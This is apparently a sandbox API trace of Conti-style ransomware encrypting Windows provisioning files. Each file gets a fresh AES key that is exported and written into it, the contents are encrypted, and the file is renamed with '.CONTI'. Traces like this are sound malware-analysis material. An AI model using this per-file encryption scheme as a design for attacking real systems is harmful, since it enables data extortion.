	[0109.333] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0109.333] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.333] GetLastError () returned 0x0
	[0109.333] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=723) returned 1
	[0109.333] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0109.333] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.333] SetEndOfFile (hFile=0x384) returned 1
	[0109.333] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.333] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.334] WriteFile (in: hFile=0x384, lpBuffer=0x65129bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65129bc*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.335] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.335] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2d3, lpOverlapped=0x0) returned 1
	[0109.335] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d3, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2e0) returned 1
	[0109.335] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.335] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.336] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.336] WriteFile (in: hFile=0x384, lpBuffer=0x65129b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65129b0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0109.336] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.336] CloseHandle (hObject=0x384) returned 1
	[0109.336] GetProcessHeap () returned 0x1720000
	[0109.336] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656c130
	[0109.336] lstrcpyW (in: lpString1=0x656c130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml"
	[0109.336] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml.CONTI"
	[0109.336] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0109.337] GetProcessHeap () returned 0x1720000
	[0109.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c130 | out: hHeap=0x1720000) returned 1
	[0109.337] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.337] GetProcessHeap () returned 0x1720000
	[0109.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65881a0 | out: hHeap=0x1720000) returned 1
	[0109.337] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0109.337] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6513e40 | out: phKey=0x6513e40*=0x6b7f178) returned 1
	[0109.337] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513e44, pdwDataLen=0x3a7ff24 | out: pbData=0x6513e44*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0109.337] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.338] GetLastError () returned 0x0
	[0109.338] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=835) returned 1
	[0109.338] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x343
	[0109.338] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.338] SetEndOfFile (hFile=0x384) returned 1
	[0109.338] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.338] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.338] WriteFile (in: hFile=0x384, lpBuffer=0x6513e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6513e44*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.340] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.340] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x343, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x343, lpOverlapped=0x0) returned 1
	[0109.340] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x343, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x350) returned 1
	[0109.340] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.340] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x350, lpOverlapped=0x0) returned 1
	[0109.340] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.341] WriteFile (in: hFile=0x384, lpBuffer=0x6513e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6513e38*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0109.341] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.341] CloseHandle (hObject=0x384) returned 1
	[0109.341] GetProcessHeap () returned 0x1720000
	[0109.341] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656c130
	[0109.341] lstrcpyW (in: lpString1=0x656c130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml"
	[0109.341] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.341] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.341] GetProcessHeap () returned 0x1720000
	[0109.342] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c130 | out: hHeap=0x1720000) returned 1
	[0109.342] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0109.342] GetProcessHeap () returned 0x1720000
	[0109.342] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588430 | out: hHeap=0x1720000) returned 1
	[0109.342] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0109.342] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6512e48 | out: phKey=0x6512e48*=0x6b7f2b8) returned 1
	[0109.342] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512e4c, pdwDataLen=0x3a7ff24 | out: pbData=0x6512e4c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0109.342] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.343] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.343] GetLastError () returned 0x0
	[0109.343] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=636) returned 1
	[0109.343] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27c
	[0109.343] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.343] SetEndOfFile (hFile=0x384) returned 1
	[0109.343] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.343] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.343] WriteFile (in: hFile=0x384, lpBuffer=0x6512e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6512e4c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.278] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.278] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x27c, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x27c, lpOverlapped=0x0) returned 1
	[0110.278] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x27c, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x280) returned 1
	[0110.278] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.278] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x280, lpOverlapped=0x0) returned 1
	[0110.278] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.278] WriteFile (in: hFile=0x384, lpBuffer=0x6512e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6512e40*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0110.278] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.278] CloseHandle (hObject=0x384) returned 1
	[0110.448] GetProcessHeap () returned 0x1720000
	[0110.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.531] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml"
	[0110.531] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.531] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.532] GetProcessHeap () returned 0x1720000
	[0110.532] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.532] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0110.532] GetProcessHeap () returned 0x1720000
	[0110.532] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588808 | out: hHeap=0x1720000) returned 1
	[0110.532] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0110.532] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6564398 | out: phKey=0x6564398*=0x17c8030) returned 1
	[0110.532] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x656439c, pdwDataLen=0x3a7ff24 | out: pbData=0x656439c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0110.533] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.533] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.534] GetLastError () returned 0x0
	[0110.534] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=802) returned 1
	[0110.534] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x322
	[0110.534] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.534] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.534] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.534] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.534] WriteFile (in: hFile=0x3e0, lpBuffer=0x656439c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x656439c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.536] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.536] ReadFile (in: hFile=0x3e0, lpBuffer=0x9370000, nNumberOfBytesToRead=0x322, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x322, lpOverlapped=0x0) returned 1
	[0110.536] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x322, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x330) returned 1
	[0110.536] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.536] WriteFile (in: hFile=0x3e0, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x330, lpOverlapped=0x0) returned 1
	[0110.536] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.536] WriteFile (in: hFile=0x3e0, lpBuffer=0x6564390*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6564390*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0110.536] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.536] CloseHandle (hObject=0x3e0) returned 1
	[0110.536] GetProcessHeap () returned 0x1720000
	[0110.536] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.536] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml"
